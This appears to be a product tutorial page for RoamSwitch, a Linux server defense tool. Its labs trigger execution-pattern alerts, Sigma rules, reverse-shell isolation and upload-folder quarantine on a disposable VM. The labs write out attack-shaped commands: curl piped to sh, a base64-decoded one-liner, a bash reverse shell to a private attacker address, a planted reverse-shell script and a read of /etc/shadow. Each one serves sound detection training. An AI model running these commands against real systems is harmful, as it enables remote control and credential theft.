What does an attacker run? | Learn Defense with RoamSwitch

#What does an attacker run?

An attacker who gets onto a server starts by running programs and commands. A few patterns come up again and again.

Pattern	Example
Download and run straight away	`curl … \	sh`
Hide what is run	`echo … \	base64 -d \	sh`
Run from a folder anyone can write to	a program placed in `/tmp`
Hand a shell to the outside	`bash -i >& /dev/tcp/…`
Leave tools behind	a script dropped in an upload folder

On Server Edition, Process execution recording and attack-technique detection is on by default. It records each program that runs, its arguments and its parents, and tells you when it sees one of the patterns above. In this module you trigger each pattern with a harmless dummy and look at what is recorded and what is sent.

Practice on a disposable machine

Some steps here change settings and cut traffic. Use a throwaway VM, not a production server. Times in the output are UTC.

#Lab: trigger suspicious runs and read the alerts

To avoid sending anything to an outside site, start a download server on the same machine.

Trigger three patterns

hello.sh only prints a line of text.

mkdir -p /tmp/dl && cd /tmp/dl
printf '#!/bin/sh\necho "hello from a harmless script"\n' > hello.sh
python3 -m http.server 8000 --bind 127.0.0.1 >/dev/null 2>&1 &
sleep 1
curl -s http://127.0.0.1:8000/hello.sh | sh
bash -c 'echo ZWNobyBoZWxsbw== | base64 -d | sh'
cp /usr/bin/sleep /tmp/worker && /tmp/worker 1
sleep 3
sudo roamswitch notifications | head -40

Output (excerpt)

  🔎 Suspicious execution pattern detected
    Execution from a temp directory, deleted file or memfd (EXR-002)
    Process: /tmp/worker (PID: 1175) / triage: Medium
    Details: execution from a world-writable directory, category: tmp, path: /tmp/worker
    Next step: sudo roamswitch events tree 1175
    (notification only — nothing was blocked)
    Process: admin / /tmp/worker / command: /tmp/worker 1 (pid 1175)
    Parent processes: dash ← tart-guest-agent ← systemd

  🔎 Suspicious execution pattern detected
    Interpreter one-liner using base64/eval (EXR-004)
    Process: /usr/bin/bash (PID: 1167) / triage: Medium
    Details: bash one-liner decodes and executes an encoded payload; argv: bash -c echo ZWNobyBoZWxsbw== | base64 -d | sh
    Next step: sudo roamswitch events tree 1167
    (notification only — nothing was blocked)
    Process: admin / /usr/bin/bash / command: bash -c echo ZWNobyBoZWxsbw== | base64 -d | sh (pid 1167)
    Parent processes: dash ← tart-guest-agent ← systemd

  🔎 Suspicious execution pattern detected
    Downloaded file executed right after download / curl|sh (EXR-003)
    Process: /usr/bin/dash (PID: 1159) / triage: Medium
    Details: download from http://127.0.0.1:8000/hello.sh piped into dash (curl|sh pattern)
    Next step: sudo roamswitch events tree 1159
    (notification only — nothing was blocked)
    Process: admin / /usr/bin/dash / command: sh (pid 1159)
    Parent processes: dash ← tart-guest-agent ← systemd

Each run was caught by a different rule. The newest is at the top. Read three things.

The rule number, such as EXR-003. You can switch rules off one by one (see below)
Details and next step: where the file came from (the URL) and what it was piped into (dash), plus the command to look further. For EXR-003, the Process line names the shell that received and ran the content (dash), not the curl that downloaded it
Notification only: by default the exec rules only tell you. The process is not stopped

There are 17 rules (EXR-001 to EXR-017). They also cover a shell started by a web service (EXR-001), a run after ld.so.preload changed (EXR-007), a burst of attack tools (EXR-010), and an ssh -R / -D tunnel opened by work without a login or by a tunnel-only session (EXR-016), and a run of survey commands from work that is not a person's login (EXR-017). Turn off a noisy rule with exec_rules_disabled (for example EXR-003,EXR-004). It takes effect after a restart.

To let a high-rated rule isolate, set exec_rules_isolation_optin to true. The default is false: legitimate admin work can match too, and isolation cuts the network (per the notes in the code). EXR-011 to EXR-016 never feed isolation, whatever this setting says (man roamswitch).

#Lab: look back through the record

When an alert arrives, use the record to see what ran before and after. The record lives in /var/lib/roamswitch/exec_log and only root can read it, so you need sudo.

Search, process tree and tamper check

First, run curl once with a token. The token is a dummy.

curl -s -o /dev/null -H "Authorization: Bearer abcdefgh12345678" http://127.0.0.1:8000/
sleep 2
sudo roamswitch events search --since 10m --exe curl

Output (excerpt)

2026-11-12T01:58:57.468Z pid=1215 ppid=869 admin /usr/bin/curl -s -o /dev/null -H Authorization: **** **** http://127.0.0.1:8000/
2026-11-12T01:58:53.315Z pid=1158 ppid=869 admin /usr/bin/curl -s http://127.0.0.1:8000/hello.sh

The token shows as ****. Secret values are masked when the record is written. The alert text masks them too.

Next, find out what started /tmp/worker, and check the record for tampering. The PID is the one events search --exe worker shows.

sudo roamswitch events tree 1175
sudo roamswitch events verify

Output

1 /usr/lib/systemd/systemd
688 /usr/bin/tart-guest-agent
869 /usr/bin/dash
        1175 /tmp/worker 1
✓ Hash chain intact (1 segment). No tampering detected (tamper-evident, not tamper-proof).
  The 13 records after the newest checkpoint are not covered until the next checkpoint.

In this VM the commands were sent through tart-guest-agent, so that is the parent shown. The chain of parents depends on how the command was started.

verify checks the hashes that link the lines of the record. It finds rewrites but does not prevent them. Lines after the latest checkpoint (every 10 seconds) cannot be checked yet, and their count is shown.

With --json, each record also shows the SHA-256 of the executable, the working folder, the cgroup and the container ID. By default the record keeps at most 200 MB or 14 days, dropping the oldest first (exec_recorder_retention_mb, exec_recorder_retention_days).

#Lab: add your own Sigma rule

For a pattern the built-in rules do not cover, add one with Sigma rule import. Sigma is a shared format for writing detection rules. RoamSwitch reads rules for process creation (process_creation).

Place a rule, test it, put it to work

This places rule files (a change to the system). The example finds a Python simple web server being started, which attackers often use to move files. A second rule, of a kind that is not supported, goes in too.

sudo mkdir -p /etc/roamswitch/sigma.d
sudo tee /etc/roamswitch/sigma.d/python-http-server.yml >/dev/null <<'Y'
title: Python simple web server started
logsource:
  category: process_creation
  product: linux
detection:
  selection:
    Image|endswith:
      - '/python3'
      - '/python3.12'
    CommandLine|contains: 'http.server'
  condition: selection
level: medium
Y
sudo tee /etc/roamswitch/sigma.d/net-conn.yml >/dev/null <<'Y'
title: Outbound connection
logsource:
  category: network_connection
  product: linux
detection:
  selection:
    DestinationPort: 4444
  condition: selection
level: high
Y
sudo roamswitch sigma-check --against-exec-history

Output (excerpt)

  A match only notifies: nothing is stopped or isolated. Only rules you placed yourself are read; no rules are delivered from anywhere.
  Rules folder: /etc/roamswitch/sigma.d (only files owned by root and not writable by group or others are read)
  The running daemon reads the folder again about 32 seconds after a file in it changes. No restart is needed after adding or removing a rule.
  Rules loaded: 1
    ✓ Python simple web server started [medium] ATT&CK: -  (/etc/roamswitch/sigma.d/python-http-server.yml)
  Rules not loaded: 1 (each with its reason; nothing is dropped silently)
    ✗ Outbound connection: Only logsource category: process_creation (product linux or unset) is supported
  Run over 755 recorded executions: 1 match
    2026-11-12T01:58:52.313Z  Python simple web server started  python3 -m http.server 8000 --bind 127.0.0.1

--against-exec-history runs the rules over the existing record and shows the matches. It found the download server from the first lab. You can see whether a rule is too noisy before it goes live. When a rule does not load, the exit code is 1.

Remove the rule that does not load. Right away, run the simple web server for 3 seconds and read the alerts. Wait 35 seconds and do the same again.

sudo rm /etc/roamswitch/sigma.d/net-conn.yml
timeout 3 python3 -m http.server 8001 --bind 127.0.0.1 >/dev/null 2>&1
sudo roamswitch notifications | head -10
sleep 35
timeout 3 python3 -m http.server 8001 --bind 127.0.0.1 >/dev/null 2>&1
sudo roamswitch notifications | head -10

Output (excerpt, the second alert list)

  A Sigma rule matched
    Matched rule "Python simple web server started" (level medium): /usr/bin/python3.12 (pid 1464)
    python3 -m http.server 8001 --bind 127.0.0.1
    Process: admin / /usr/bin/python3.12 / command: python3 -m http.server 8001 --bind 127.0.0.1 (pid 1464)
    Parent processes: timeout ← dash ← tart-guest-agent ← systemd

The first run brought no Sigma alert: the rule had been placed only seconds before. The second run, 35 seconds later, did. The daemon reads the folder again about 32 seconds after it changes. No restart is needed, but a rule does not work the moment you place it.

One rule and one executable raise at most one alert in 5 minutes (a value in the code). Leave 5 minutes between tries.

To undo, delete the rule file. About 32 seconds later the rule is gone.

Rule file permissions

Only files owned by root and not writable by anyone else are read. A file set to chmod 666 was reported as "The file or its folder is writable by group or others (needs chmod go-w)" and was not loaded. A rule others can write is a way to switch detection off.

#Lab: stop a shell handed to the outside

A reverse shell connects from the server to the attacker's machine and attaches a shell to that connection. Even with inbound connections closed, outbound ones are often allowed, which is why it is popular.

Reverse shell detection reads /proc every 2 seconds. When it sees a shell or interpreter whose stdin and stdout are a TCP connection to the outside twice in a row, it reports it. The report enters the Kernel-level intrusion detection and autonomous isolation response policy as a Critical event (action_on_critical, default isolate).

Open a reverse shell and watch it stop

This changes network and server settings (a change to the system). No outside machine is used: an attacker network namespace is created inside the VM. Its address (10.200.0.2) is private, so set reverse_shell_watch_include_private to true. With the default false, private destinations are not counted.

sudo ip netns add rsx
sudo ip link add rsx0 type veth peer name rsx1
sudo ip link set rsx1 netns rsx
sudo ip addr add 10.200.0.1/24 dev rsx0 && sudo ip link set rsx0 up
sudo ip netns exec rsx ip addr add 10.200.0.2/24 dev rsx1
sudo ip netns exec rsx ip link set rsx1 up
sudo roamswitch server config set reverse_shell_watch_include_private true
sudo roamswitch server restart

Start the attacker's listener, then connect a reverse shell as an ordinary user (admin). After 8 seconds, check whether the shell is still there.

sleep 5
sudo ip netns exec rsx sh -c 'sleep 30 | nc -l 10.200.0.2 4444 >/dev/null 2>&1' &
sleep 1
nohup bash -c 'bash -i >& /dev/tcp/10.200.0.2/4444 0>&1' >/dev/null 2>&1 &
RS=$!; sleep 8
ps -o pid,user,stat,cmd -p $RS || echo "process gone"
sudo roamswitch notifications | head -30
sudo roamswitch server ebpf

Output (excerpt)

    PID USER     STAT CMD
process gone

  eBPF Runtime Incident: RoamSwitch Reverse Shell (Critical)
    Rule Triggered: RoamSwitch Reverse Shell
    Severity: Critical
    Process: bash (PID: 1787)
    Autonomous Containment Action: Blocked the traffic sent by the account admin + SIGKILL
    Timestamp: 2026-11-12 02:00:04
    Process: admin / /usr/bin/bash / command: bash -i (pid 1787) (The process had already exited, so this comes from the exec record made at 2026-11-12 02:00:00.)
    Parent processes: bash ← bash ← dash ← tart-guest-agent ← systemd / Service: tart-guest-agent.service
    Alert received to response: 559 ms

  🔎 Suspicious execution pattern detected
    A command that hands a shell to a network connection was run (EXR-011)
    Process: /usr/bin/bash (PID: 1784) / triage: High
    Details: bash command line has a reverse-shell shape (shell redirected to /dev/tcp or /dev/udp); argv: bash -c bash -i >& /dev/tcp/10.200.0.2/4444 0>&1
    Next step: sudo roamswitch events tree 1784
    (notification only — nothing was blocked)

  Current isolation: [Isolated: the traffic sent by the process's account]
  Isolated PIDs: [1787 (exited)]
  The isolated process (1787) has already ended. The rule that blocks its traffic covers all of the traffic sent by the process's account, so it stays. To lift it, run sudo roamswitch emergency-restore.

Two separate detections arrived.

EXR-011 looks at the shape of the command line. It only tells you
RoamSwitch Reverse Shell looks at the live connection, and ended the shell (bash -i). As the alert's containment line and "Current isolation" in server ebpf show, the block covers the admin account

As server ebpf says, the rule that blocks traffic stays. This is an isolation from a high-confidence detection, so it is not lifted on its own, neither when the process ends nor as time passes. Instead of the listener, start a web server on the attacker side, check, then lift it.

sudo ip netns exec rsx sh -c 'cd /tmp && nohup python3 -m http.server 8080 --bind 10.200.0.2 >/dev/null 2>&1 &'
sleep 1
curl -s -m 3 -o /dev/null -w 'admin: %{http_code}\n' http://10.200.0.2:8080/ || echo "admin: no connection (curl $?)"
sudo curl -s -m 3 -o /dev/null -w 'root: %{http_code}\n' http://10.200.0.2:8080/
sudo roamswitch emergency-restore
curl -s -m 3 -o /dev/null -w 'admin: %{http_code}\n' http://10.200.0.2:8080/
sudo roamswitch server restart

Output (excerpt)

admin: 000
admin: no connection (curl 28)
root: 200
  Current state:
    Pinpoint isolation (blocked: the traffic sent by the process's account)
  🔄 Lifting all emergency isolation and restoring network baseline...
    ✓ Isolation records
    ✓ Firewall tables that can stop traffic
    ✓ DNS settings
    ✓ Connection tracking
  These firewall tables were left as they are, as they are not an isolation:
    - roamswitch_server: the server's inbound rules (only ssh_ports and allowed_ports are let in; the usual protection)
  ✓ The network was recovered.
  The rules removed here, such as port-scan detection, stay off until a restart. To put them back: sudo systemctl restart roamswitch-server

admin: 200

Before the release, admin timed out (curl exit code 28) while root got 200: only that account's traffic was blocked. emergency-restore also started by saying "Pinpoint isolation" and what it blocked. On this VM it was still blocked when checked about five minutes after the detection. After the release, 200.

emergency-restore also removes rules such as port-scan detection. Finish with a restart to bring them back.

To undo, set reverse_shell_watch_include_private back to false and restart, then remove the namespace and the virtual link with sudo ip netns del rsx and sudo ip link del rsx0.

When a legitimate program is stopped

By default the reverse-shell detection ends the process. If one of your operations tools connects the same way, choose one of these.

Exempt just that program: sudo roamswitch server allowlist add "RoamSwitch Reverse Shell" <process name> --exe <absolute path> <reason>. Without a reason it is refused. The entry lasts 30 days, and other detections stay. Without --exe, it warns that a name-only entry can be spoofed. The allowlist is read at each detection, so no restart is needed (checked in the code)
Notify only: reverse_shell_watch_notify_only=true. In a test, the severity became Warning, the action "Logged & Monitored", and the shell kept running
Change the response to every Critical event: set action_on_critical to freeze (stop it and cut its network) or alert_only (notify only). This affects detections other than reverse shells too

The last two are setting changes, so they take effect after a restart.

Receive a Falco alert

Kernel-level intrusion detection and autonomous isolation also takes kernel events that Falco finds. This installs Falco (a change to the system), from Falco's own repository.

curl -fsSL https://falco.org/repo/falcosecurity-packages.asc \
  | sudo gpg --dearmor -o /usr/share/keyrings/falco-archive-keyring.gpg
echo "deb [signed-by=/usr/share/keyrings/falco-archive-keyring.gpg] https://download.falco.org/packages/deb stable main" \
  | sudo tee /etc/apt/sources.list.d/falcosecurity.list
sudo apt-get update
sudo FALCO_FRONTEND=noninteractive FALCO_DRIVER_CHOICE=modern_ebpf apt-get install -y falco
sudo roamswitch server restart
sleep 10
sudo python3 -c "open('/etc/shadow').read()"
sleep 8
sudo roamswitch notifications | head -18

Output (excerpt)

  eBPF Runtime Incident: Read sensitive file untrusted (Warning)
    Rule Triggered: Read sensitive file untrusted
    Severity: Warning
    Process: python3 (PID: 36426)
    Autonomous Containment Action: Logged & Monitored (guard policy: no containment)
    (snip)
    🔎 Automated first-pass assessment: false-positive likelihood High
    Reason: The rule "Read sensitive file untrusted" is known to false-positive frequently.
    Note: advisory only. It does not confirm whether the action already taken was correct.
    Full report: /var/lib/roamswitch/ebpf_investigations/20261112T015428.726Z_read-sensitive-file-untrusted.md

Falco saw Python read /etc/shadow, which holds the password hashes. The severity is Warning, so RoamSwitch records and notifies only. The response per severity is set in /etc/roamswitch/guard.yaml. In the example file (guard.yaml.example), Warning notifies, Error isolates the process, Critical isolates and kills the process, and Emergency isolates the whole host.

To undo, remove Falco with sudo apt-get remove falco.

#Lab: files left behind, and crashing workers

Attackers leave scripts and tools on the server to use later. A folder that accepts uploads is an easy place to leave them.

Scan an upload folder

This changes a setting (a change to the system). On Server, File content pattern matching scans the folders listed in clamav_scan_dirs with the built-in YARA rules. The default is empty, so nothing is scanned.

For practice, use a file that only holds a well-known reverse-shell one-liner. The EICAR test string is treated as a test and is not quarantined.

sudo mkdir -p /srv/upload
printf '#!/bin/sh\nbash -i >& /dev/tcp/10.200.0.2/4444 0>&1\n' | sudo tee /srv/upload/update.sh >/dev/null
echo 'ordinary text' | sudo tee /srv/upload/readme.txt >/dev/null
sudo roamswitch server config set clamav_scan_dirs /srv/upload
sudo roamswitch server restart
sleep 10
ls /srv/upload
sudo roamswitch notifications | head -16
sudo roamswitch quarantine list

Output (excerpt)

readme.txt

  File Scan Guard: 1 threat quarantined
    YARA hits: 1, ClamAV hits: 0
    Quarantined (original location → vault):
    - /srv/upload/update.sh → /var/lib/roamswitch/quarantine/20261112_015438_eac0f689_update.sh (WebShell-ReverseShell: Linux_WebShell_Reverse_Shell_Payload)
    Recommended Action: Review `/var/lib/roamswitch/quarantine/metadata.json`.

  Vault location: /var/lib/roamswitch/quarantine
  Quarantined: 1 file

  • [quar-20261112_015438-eac0f689] update.sh (WebShell-ReverseShell: Linux_WebShell_Reverse_Shell_Payload) - 51 bytes
    Original path: /srv/upload/update.sh

update.sh is gone from where it was placed and is now in the quarantine vault. The plain text file stays. metadata.json keeps the original path, the detection name and the SHA-256.

The scan runs when the daemon starts, then every clamav_scan_interval_secs (default 86400 seconds, minimum 3600). It does not run the moment a file is written. With clamav_enabled=true, ClamAV scans the same files as a second opinion.

To undo, set clamav_scan_dirs back to empty ("") and restart. sudo roamswitch quarantine delete quar-20261112_015438-eac0f689 removed the quarantined file and printed "Deleted ... from the vault for good." Only root can read the list. quarantine list without sudo says the vault could not be read, gives no count, and exits with code 1. quarantine restore <ID> <path> puts a file back without overwriting and without the execute bit.

Web server workers that crash

In nginx, the master process replaces a worker that dies, so the service keeps running. A failed attempt to exploit a vulnerability can crash a worker. Web server worker crash detection finds this in the error log. Here you install nginx and send SIGSEGV to a worker three times to create that state (a change to the system).

sudo apt-get install -y nginx
sudo roamswitch server restart
for i in 1 2 3; do sudo kill -SEGV $(pgrep -f 'nginx: worker' | head -1); sleep 2; done
sleep 30
sudo roamswitch notifications | head -12

Output (excerpt)

  Web server workers are crashing repeatedly
    🚨 nginx workers died of a signal 3 times within 300 seconds (signals: 11)
    Log: /var/log/nginx/error.log
    Latest entry: 2026/11/12 01:47:16 [alert] 33430#33430: worker process 33434 exited on signal 11 (core dumped)
    The master process starts a new worker, so the service keeps running and this does not count as a service restart. It may be an attempt to exploit a vulnerability, or a bug in the program.
    Recommended Action: check the entries with `grep 'signal' /var/log/nginx/error.log`, then look in the access log at the same times for the requests just before each crash. Also check whether nginx is missing a security fix.

systemctl is-active nginx still said active afterwards. Watching only the service state, you would miss this. The alert only notifies and does not stop nginx. It comes at most once an hour per server (the time is kept on disk); three more crashes 30 minutes later raised no second alert. To undo, remove nginx with sudo apt-get remove nginx.

#What it cannot see

What was checked, and what is not seen

Within what was tested on a throwaway Ubuntu 24.04 VM:

By default the exec rules only notify. Even a high-severity rule such as EXR-011 does not stop the process. What stopped it was the reverse-shell detection that looks at the connection
The same alert is not repeated for 5 minutes. One rule, process name and command line together alert once per 5 minutes (a value in the code). A loop that repeats the same command is reported once
The reverse-shell detection ignores loopback. Private destinations count only with reverse_shell_watch_include_private=true. Connections shorter than 2 seconds are not seen
Falco's standard rules raised no alert for a reverse shell on the host. With Falco installed, connecting bash -i >& /dev/tcp/… produced only RoamSwitch's own detection
The upload-folder scan runs on an interval. A file placed, run and deleted between two scans is never scanned. That it ran stays in the exec record
Content the built-in YARA rules do not know is not found. "0 quarantined" means no known pattern was seen

Check yourself

A "Suspicious execution pattern detected (EXR-003)" alert arrived. What is the right reading?

Show the explanation

The exec rules say "notification only — nothing was blocked". First check who started what with sudo roamswitch events tree <PID>. Check the download URL before deciding it is a false positive.

Check yourself

You placed a Sigma rule and sigma-check says "Rules loaded: 1". A matching action right after that sends no alert. What do you suspect first?

Show the explanation

sigma-check only checks that the file can be read. The running daemon reads the folder again about 32 seconds after it changes. Wait a little and try again. No restart is needed.

#What to learn next

How far to isolate on a Critical detection is covered in Setting your automatic isolation policy
How to put a legitimate program on the allowlist is in Tuning out false positives
Practice the response after an isolation in A containment fired: the first hour

Features covered

Related techniques (ATT&CK): T1059.004 T1027 T1105 T1553.001

What was verified

Verified on 2026-11-12. Target: Linux 1.17.39. On a disposable Ubuntu 24.04 VM with the published 1.17.39, every lab was run in Japanese and English with a network namespace inside the VM as the attacker (English with LANG=en_US.UTF-8, server.conf language left at its default). The per-account block was confirmed to still hold about 5 minutes after the detection. Added 2026-11-12: EXR-017 (a run of survey commands) was checked in the exec recorder rules on roamswitch-linux main (e4e37a64), and the rule count was changed to 17. This addition was not run on a VM.

Command output varies with the product version and the environment. If yours differs, check the version first.